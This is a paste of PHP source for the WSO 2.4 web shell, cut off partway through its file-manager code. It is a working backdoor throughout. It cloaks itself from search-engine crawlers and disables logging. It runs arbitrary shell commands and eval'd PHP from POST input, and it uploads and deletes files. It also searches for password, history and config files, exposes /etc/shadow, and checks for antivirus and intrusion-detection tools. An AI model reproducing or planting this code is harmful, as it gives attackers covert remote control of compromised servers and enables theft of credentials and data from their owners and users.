· 9 years ago · Feb 16, 2017, 12:52 PM
1<?php
2$color = "#df5";
3$default_action = 'FilesMan';
4$default_use_ajax = true;
5$default_charset = 'Windows-1251';
6
7if (!empty($_SERVER['HTTP_USER_AGENT']))
8 {
9 $userAgents = array(
10 "Google",
11 "Slurp",
12 "MSNBot",
13 "ia_archiver",
14 "Yandex",
15 "Rambler"
16 );
17 if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT']))
18 {
19 header('HTTP/1.0 404 Not Found');
20 exit;
21 }
22 }
23
24@session_start();
25@ini_set('error_log', NULL);
26@ini_set('log_errors', 0);
27@ini_set('max_execution_time', 0);
28@set_time_limit(0);
29@set_magic_quotes_runtime(0);
30@define('WSO_VERSION', '2.4');
31
32if (get_magic_quotes_gpc())
33 {
34 function WSOstripslashes($array)
35 {
36 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
37 }
38
39 $_POST = WSOstripslashes($_POST);
40 }
41
42if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
43 else $os = 'nix';
44$safe_mode = @ini_get('safe_mode');
45
46if (!$safe_mode) error_reporting(0);
47$disable_functions = @ini_get('disable_functions');
48$home_cwd = @getcwd();
49
50if (isset($_POST['c'])) @chdir($_POST['c']);
51$cwd = @getcwd();
52
53if ($os == 'win')
54 {
55 $home_cwd = str_replace("\\", "/", $home_cwd);
56 $cwd = str_replace("\\", "/", $cwd);
57 }
58
59if ($cwd[strlen($cwd) - 1] != '/') $cwd.= '/';
60
61if (!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
62
63if ($os == 'win') $aliases = array(
64 "List Directory" => "dir",
65 "Find index.php in current dir" => "dir /s /w /b index.php",
66 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
67 "Show active connections" => "netstat -an",
68 "Show running services" => "net start",
69 "User accounts" => "net user",
70 "Show computers" => "net view",
71 "ARP Table" => "arp -a",
72 "IP Configuration" => "ipconfig /all"
73);
74 else $aliases = array(
75 "List dir" => "ls -lha",
76 "list file attributes on a Linux second extended file system" => "lsattr -va",
77 "show opened ports" => "netstat -an | grep -i listen",
78 "process status" => "ps aux",
79 "Find" => "",
80 "find all suid files" => "find / -type f -perm -04000 -ls",
81 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
82 "find all sgid files" => "find / -type f -perm -02000 -ls",
83 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
84 "find config.inc.php files" => "find / -type f -name config.inc.php",
85 "find config* files" => "find / -type f -name \"config*\"",
86 "find config* files in current dir" => "find . -type f -name \"config*\"",
87 "find all writable folders and files" => "find / -perm -2 -ls",
88 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
89 "find all service.pwd files" => "find / -type f -name service.pwd",
90 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
91 "find all .htpasswd files" => "find / -type f -name .htpasswd",
92 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
93 "find all .bash_history files" => "find / -type f -name .bash_history",
94 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
95 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
96 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
97 "Locate" => "",
98 "locate httpd.conf files" => "locate httpd.conf",
99 "locate vhosts.conf files" => "locate vhosts.conf",
100 "locate proftpd.conf files" => "locate proftpd.conf",
101 "locate psybnc.conf files" => "locate psybnc.conf",
102 "locate my.conf files" => "locate my.conf",
103 "locate admin.php files" => "locate admin.php",
104 "locate cfg.php files" => "locate cfg.php",
105 "locate conf.php files" => "locate conf.php",
106 "locate config.dat files" => "locate config.dat",
107 "locate config.php files" => "locate config.php",
108 "locate config.inc files" => "locate config.inc",
109 "locate config.inc.php" => "locate config.inc.php",
110 "locate config.default.php files" => "locate config.default.php",
111 "locate config* files " => "locate config",
112 "locate .conf files" => "locate '.conf'",
113 "locate .pwd files" => "locate '.pwd'",
114 "locate .sql files" => "locate '.sql'",
115 "locate .htpasswd files" => "locate '.htpasswd'",
116 "locate .bash_history files" => "locate '.bash_history'",
117 "locate .mysql_history files" => "locate '.mysql_history'",
118 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
119 "locate backup files" => "locate backup",
120 "locate dump files" => "locate dump",
121 "locate priv files" => "locate priv"
122);
123
124function wsoHeader()
125 {
126 if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
127 global $color;
128 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
129<style>
130body{background-color:#444;color:#e1e1e1;}
131body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
132table.info{ color:#fff;background-color:#222; }
133span,h1,a{ color: $color !important; }
134span{ font-weight: bolder; }
135h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
136div.content{ padding: 5px;margin-left:5px;background-color:#333; }
137a{ text-decoration:none; }
138a:hover{ text-decoration:underline; }
139.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
140.bigarea{ width:100%;height:250px; }
141input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
142form{ margin:0px; }
143#toolsTbl{ text-align:center; }
144.toolsInp{ width: 300px }
145.main th{text-align:left;background-color:#5e5e5e;}
146.main tr:hover{background-color:#5e5e5e}
147.l1{background-color:#444}
148.l2{background-color:#333}
149pre{font-family:Courier,Monospace;}
150</style>
151<script>
152 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
153 var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
154 var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
155 var p1_ = '" . ((strpos(@$_POST['p1'], "\n") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
156 var p2_ = '" . ((strpos(@$_POST['p2'], "\n") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
157 var p3_ = '" . ((strpos(@$_POST['p3'], "\n") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
158 var d = document;
159 function set(a,c,p1,p2,p3,charset) {
160 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
161 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
162 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
163 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
164 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
165 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
166 }
167 function g(a,c,p1,p2,p3,charset) {
168 set(a,c,p1,p2,p3,charset);
169 d.mf.submit();
170 }
171 function a(a,c,p1,p2,p3,charset) {
172 set(a,c,p1,p2,p3,charset);
173 var params = 'ajax=true';
174 for(i=0;i<d.mf.elements.length;i++)
175 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
176 sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
177 }
178 function sr(url, params) {
179 if (window.XMLHttpRequest)
180 req = new XMLHttpRequest();
181 else if (window.ActiveXObject)
182 req = new ActiveXObject('Microsoft.XMLHTTP');
183 if (req) {
184 req.onreadystatechange = processReqChange;
185 req.open('POST', url, true);
186 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
187 req.send(params);
188 }
189 }
190 function processReqChange() {
191 if( (req.readyState == 4) )
192 if(req.status == 200) {
193 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
194 var arr=reg.exec(req.responseText);
195 eval(arr[2].substr(0, arr[1]));
196 } else alert('Request error!');
197 }
198</script>
199<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
200<form method=post name=mf style='display:none;'>
201<input type=hidden name=a>
202<input type=hidden name=c>
203<input type=hidden name=p1>
204<input type=hidden name=p2>
205<input type=hidden name=p3>
206<input type=hidden name=charset>
207</form>";
208 $freeSpace = @diskfreespace($GLOBALS['cwd']);
209 $totalSpace = @disk_total_space($GLOBALS['cwd']);
210 $totalSpace = $totalSpace ? $totalSpace : 1;
211 $release = @php_uname('r');
212 $kernel = @php_uname('s');
213 $explink = 'http://exploit-db.com/list.php?description=';
214 if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
215 else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
216 if (!function_exists('posix_getegid'))
217 {
218 $user = @get_current_user();
219 $uid = @getmyuid();
220 $gid = @getmygid();
221 $group = "?";
222 }
223 else
224 {
225 $uid = @posix_getpwuid(posix_geteuid());
226 $gid = @posix_getgrgid(posix_getegid());
227 $user = $uid['name'];
228 $uid = $uid['uid'];
229 $group = $gid['name'];
230 $gid = $gid['gid'];
231 }
232
233 $cwd_links = '';
234 $path = explode("/", $GLOBALS['cwd']);
235 $n = count($path);
236 for ($i = 0; $i < $n - 1; $i++)
237 {
238 $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
239 for ($j = 0; $j <= $i; $j++) $cwd_links.= $path[$j] . '/';
240 $cwd_links.= "\")'>" . $path[$i] . "/</a>";
241 }
242
243 $charsets = array(
244 'UTF-8',
245 'Windows-1251',
246 'KOI8-R',
247 'KOI8-U',
248 'cp866'
249 );
250 $opt_charsets = '';
251 foreach($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
252 $m = array(
253 'Sec. Info' => 'SecInfo',
254 'Files' => 'FilesMan',
255 'Console' => 'Console',
256 'Sql' => 'Sql',
257 'Php' => 'Php',
258 'Safe mode' => 'SafeMode',
259 'String tools' => 'StringTools',
260 'Bruteforce' => 'Bruteforce',
261 'Network' => 'Network'
262 );
263 if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
264 $m['Self remove'] = 'SelfRemove';
265 $menu = '';
266 foreach($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
267 $drives = "";
268 if ($GLOBALS['os'] == 'win')
269 {
270 foreach(range('c', 'z') as $drive)
271 if (is_dir($drive . ':\\')) $drives.= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
272 }
273
274 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br />User:<br />Php:<br />Hdd:<br />Cwd:' . ($GLOBALS['os'] == 'win' ? '<br />Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname() , 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br />' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br />' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#00bb00><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br />' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int)($freeSpace / $totalSpace * 100) . '%)<br />' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br />' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br /><span>Server IP:</span><br />' . @$_SERVER["SERVER_ADDR"] . '<br /><span>Client IP:</span><br />' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
275 }
276
277function wsoFooter()
278 {
279 $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='#25ff00'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
280 echo "
281</div>
282<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
283 <tr>
284 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br /><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
285 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br /><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
286 </tr><tr>
287 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br /><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
288 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br /><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
289 </tr><tr>
290 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br /><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
291 <td><form method='post' ENCTYPE='multipart/form-data'>
292 <input type=hidden name=a value='FilesMAn'>
293 <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
294 <input type=hidden name=p1 value='uploadFile'>
295 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
296 <span>Upload file:</span>$is_writable<br /><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
297 </tr></table></div></body></html>";
298 }
299
300if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false))
301 {
302 function posix_getpwuid($p)
303 {
304 return false;
305 }
306 }
307
308if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false))
309 {
310 function posix_getgrgid($p)
311 {
312 return false;
313 }
314 }
315
316function wsoEx($in)
317 {
318 $out = '';
319 if (function_exists('exec'))
320 {
321 @exec($in, $out);
322 $out = @join("\n", $out);
323 }
324 elseif (function_exists('passthru'))
325 {
326 ob_start();
327 @passthru($in);
328 $out = ob_get_clean();
329 }
330 elseif (function_exists('system'))
331 {
332 ob_start();
333 @system($in);
334 $out = ob_get_clean();
335 }
336 elseif (function_exists('shell_exec'))
337 {
338 $out = shell_exec($in);
339 }
340 elseif (is_resource($f = @popen($in, "r")))
341 {
342 $out = "";
343 while (!@feof($f)) $out.= fread($f, 1024);
344 pclose($f);
345 }
346
347 return $out;
348 }
349
350function wsoViewSize($s)
351 {
352 if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
353 elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
354 elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
355 else return $s . ' B';
356 }
357
358function wsoPerms($p)
359 {
360 if (($p & 0xC000) == 0xC000) $i = 's';
361 elseif (($p & 0xA000) == 0xA000) $i = 'l';
362 elseif (($p & 0x8000) == 0x8000) $i = '-';
363 elseif (($p & 0x6000) == 0x6000) $i = 'b';
364 elseif (($p & 0x4000) == 0x4000) $i = 'd';
365 elseif (($p & 0x2000) == 0x2000) $i = 'c';
366 elseif (($p & 0x1000) == 0x1000) $i = 'p';
367 else $i = 'u';
368 $i.= (($p & 0x0100) ? 'r' : '-');
369 $i.= (($p & 0x0080) ? 'w' : '-');
370 $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
371 $i.= (($p & 0x0020) ? 'r' : '-');
372 $i.= (($p & 0x0010) ? 'w' : '-');
373 $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
374 $i.= (($p & 0x0004) ? 'r' : '-');
375 $i.= (($p & 0x0002) ? 'w' : '-');
376 $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
377 return $i;
378 }
379
380function wsoPermsColor($f)
381 {
382 if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
383 elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
384 else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
385 }
386
387if (!function_exists("scandir"))
388 {
389 function scandir($dir)
390 {
391 $dh = opendir($dir);
392 while (false !== ($filename = readdir($dh))) $files[] = $filename;
393 return $files;
394 }
395 }
396
397function wsoWhich($p)
398 {
399 $path = wsoEx('which ' . $p);
400 if (!empty($path)) return $path;
401 return false;
402 }
403
404function actionSecInfo()
405 {
406 wsoHeader();
407 echo '<h1>Server security information</h1><div class=content>';
408 function wsoSecParam($n, $v)
409 {
410 $v = trim($v);
411 if ($v)
412 {
413 echo '<span>' . $n . ': </span>';
414 if (strpos($v, "\n") === false) echo $v . '<br />';
415 else echo '<pre class=ml1>' . $v . '</pre>';
416 }
417 }
418
419 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
420 if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
421 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
422 wsoSecParam('Open base dir', @ini_get('open_basedir'));
423 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
424 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
425 wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
426 $temp = array();
427 if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
428 if (function_exists('mssql_connect')) $temp[] = "MSSQL";
429 if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
430 if (function_exists('oci_connect')) $temp[] = "Oracle";
431 wsoSecParam('Supported databases', implode(', ', $temp));
432 echo '<br />';
433 if ($GLOBALS['os'] == 'nix')
434 {
435 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
436 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>" : 'no');
437 wsoSecParam('OS version', @file_get_contents('/proc/version'));
438 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
439 if (!$GLOBALS['safe_mode'])
440 {
441 $userful = array(
442 'gcc',
443 'lcc',
444 'cc',
445 'ld',
446 'make',
447 'php',
448 'perl',
449 'python',
450 'ruby',
451 'tar',
452 'gzip',
453 'bzip',
454 'bzip2',
455 'nc',
456 'locate',
457 'suidperl'
458 );
459 $danger = array(
460 'kav',
461 'nod32',
462 'bdcored',
463 'uvscan',
464 'sav',
465 'drwebd',
466 'clamd',
467 'rkhunter',
468 'chkrootkit',
469 'iptables',
470 'ipfw',
471 'tripwire',
472 'shieldcc',
473 'portsentry',
474 'snort',
475 'ossec',
476 'lidsadm',
477 'tcplodg',
478 'sxid',
479 'logcheck',
480 'logwatch',
481 'sysmask',
482 'zmbscap',
483 'sawmill',
484 'wormscan',
485 'ninja'
486 );
487 $downloaders = array(
488 'wget',
489 'fetch',
490 'lynx',
491 'links',
492 'curl',
493 'get',
494 'lwp-mirror'
495 );
496 echo '<br />';
497 $temp = array();
498 foreach($userful as $item)
499 if (wsoWhich($item)) $temp[] = $item;
500 wsoSecParam('Userful', implode(', ', $temp));
501 $temp = array();
502 foreach($danger as $item)
503 if (wsoWhich($item)) $temp[] = $item;
504 wsoSecParam('Danger', implode(', ', $temp));
505 $temp = array();
506 foreach($downloaders as $item)
507 if (wsoWhich($item)) $temp[] = $item;
508 wsoSecParam('Downloaders', implode(', ', $temp));
509 echo '<br/>';
510 wsoSecParam('HDD space', wsoEx('df -h'));
511 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
512 }
513 }
514 else
515 {
516 wsoSecParam('OS Version', wsoEx('ver'));
517 wsoSecParam('Account Settings', wsoEx('net accounts'));
518 wsoSecParam('User Accounts', wsoEx('net user'));
519 }
520
521 echo '</div>';
522 wsoFooter();
523 }
524
525function actionPhp()
526 {
527 if (isset($_POST['ajax']))
528 {
529 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
530 ob_start();
531 eval($_POST['p1']);
532 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()) , "\n\r\t\\'\0") . "';\n";
533 echo strlen($temp) , "\n", $temp;
534 exit;
535 }
536
537 wsoHeader();
538 if (isset($_POST['p2']) && ($_POST['p2'] == 'info'))
539 {
540 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
541 ob_start();
542 phpinfo();
543 $tmp = ob_get_clean();
544 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '', $tmp);
545 $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
546 echo str_replace('<h1', '<h2', $tmp) . '</div><br />';
547 }
548
549 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
550 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
551 echo ' <input type=checkbox name=ajax value=1 ' . ($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
552 if (!empty($_POST['p1']))
553 {
554 ob_start();
555 eval($_POST['p1']);
556 echo htmlspecialchars(ob_get_clean());
557 }
558
559 echo '</pre></div>';
560 wsoFooter();
561 }
562
563function actionFilesMan()
564 {
565 wsoHeader();
566 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
567 if (!empty($_POST['p1']))
568 {
569 switch ($_POST['p1'])
570 {
571 case 'uploadFile':
572 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
573 break;
574
575 case 'mkdir':
576 if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
577 break;
578
579 case 'delete':
580 function deleteDir($path)
581 {
582 $path = (substr($path, -1) == '/') ? $path : $path . '/';
583 $dh = opendir($path);
584 while (($item = readdir($dh)) !== false)
585 {
586 $item = $path . $item;
587 if ((basename($item) == "..") || (basename($item) == ".")) continue;
588 $type = filetype($item);
589 if ($type == "dir") deleteDir($item);
590 else @unlink($item);
591 }
592
593 closedir($dh);
594 @rmdir($path);
595 }
596
597 if (is_array(@$_POST['f']))
598 foreach($_POST['f'] as $f)
599 {
600 if ($f == '..') continue;
601 $f = urldecode($f);
602 if (is_dir($f)) deleteDir($f);
603 else @unlink($f);
604 }
605
606 break;
607
608 case 'paste':
609 if ($_SESSION['act'] == 'copy')
610 {
611 function copy_paste($c, $s, $d)
612 {
613 if (is_dir($c . $s))
614 {
615 mkdir($d . $s);
616 $h = @opendir($c . $s);
617 while (($f = @readdir($h)) !== false)
618 if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
619 }
620 elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
621 }
622
623 foreach($_SESSION['f'] as $f) copy_paste($_SESSION['c'], $f, $GLOBALS['cwd']);
624 }
625 elseif ($_SESSION['act'] == 'move')
626 {
627 function move_paste($c, $s, $d)
628 {
629 if (is_dir($c . $s))
630 {
631 mkdir($d . $s);
632 $h = @opendir($c . $s);
633 while (($f = @readdir($h)) !== false)
634 if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
635 }
636 elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
637 }
638
639 foreach($_SESSION['f'] as $f) @rename($_SESSION['c'] . $f, $GLOBALS['cwd'] . $f);
640 }
641 elseif ($_SESSION['act'] == 'zip')
642 {
643 if (class_exists('ZipArchive'))
644 {
645 $zip = new ZipArchive();
646 if ($zip->open($_POST['p2'], 1))
647 {
648 chdir($_SESSION['c']);
649 foreach($_SESSION['f'] as $f)
650 {
651 if ($f == '..') continue;
652 if (@is_file($_SESSION['c'] . $f)) $zip->addFile($_SESSION['c'] . $f, $f);
653 elseif (@is_dir($_SESSION['c'] . $f))
654 {
655 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
656 foreach($iterator as $key => $value)
657 {
658 $zip->addFile(realpath($key) , $key);
659 }
660 }
661 }
662
663 chdir($GLOBALS['cwd']);
664 $zip->close();
665 }
666 }
667 }
668 elseif ($_SESSION['act'] == 'unzip')
669 {
670 if (class_exists('ZipArchive'))
671 {
672 $zip = new ZipArchive();
673 foreach($_SESSION['f'] as $f)
674 {
675 if ($zip->open($_SESSION['c'] . $f))
676 {
677 $zip->extractTo($GLOBALS['cwd']);
678 $zip->close();
679 }
680 }
681 }
682 }
683 elseif ($_SESSION['act'] == 'tar')
684 {
685 chdir($_SESSION['c']);
686 $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
687 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
688 chdir($GLOBALS['cwd']);
689 }
690
691 unset($_SESSION['f']);
692 break;
693
694 default:
695 if (!empty($_POST['p1']))
696 {
697 $_SESSION['act'] = @$_POST['p1'];
698 $_SESSION['f'] = @$_POST['f'];
699 foreach($_SESSION['f'] as $k => $f) $_SESSION['f'][$k] = urldecode($f);
700 $_SESSION['c'] = @$_POST['c'];
701 }
702
703 break;
704 }
705 }
706
707 $dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
708 if ($dirContent === false)
709 {
710 echo 'Can\'t open this folder!';
711 wsoFooter();
712 return;
713 }
714
715 global $sort;
716 $sort = array(
717 'name',
718 1
719 );
720 if (!empty($_POST['p1']))
721 {
722 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array(
723 $match[1],
724 (int)$match[2]
725 );
726 }
727
728 echo "<script>
729 function sa() {
730 for(i=0;i<d.files.elements.length;i++)
731 if(d.files.elements[i].type == 'checkbox')
732 d.files.elements[i].checked = d.files.elements[0].checked;
733 }
734</script>
735<table width='100%' class='main' cellspacing='0' cellpadding='2'>
736<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
737 $dirs = $files = array();
738 $n = count($dirContent);
739 for ($i = 0; $i < $n; $i++)
740 {
741 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
742 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
743 $tmp = array(
744 'name' => $dirContent[$i],
745 'path' => $GLOBALS['cwd'] . $dirContent[$i],
746 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])) ,
747 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]) ,
748 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]) ,
749 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]) ,
750 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i])
751 );
752 if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array(
753 'type' => 'file'
754 ));
755 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array(
756 'type' => 'link',
757 'link' => readlink($tmp['path'])
758 ));
759 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array(
760 'type' => 'dir'
761 ));
762 }
763
764 $GLOBALS['sort'] = $sort;
765 function wsoCmp($a, $b)
766 {
767 if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]) , strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
768 else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
769 }
770
771 usort($files, "wsoCmp");
772 usort($dirs, "wsoCmp");
773 $files = array_merge($dirs, $files);
774 $l = 0;
775 foreach($files as $f)
776 {
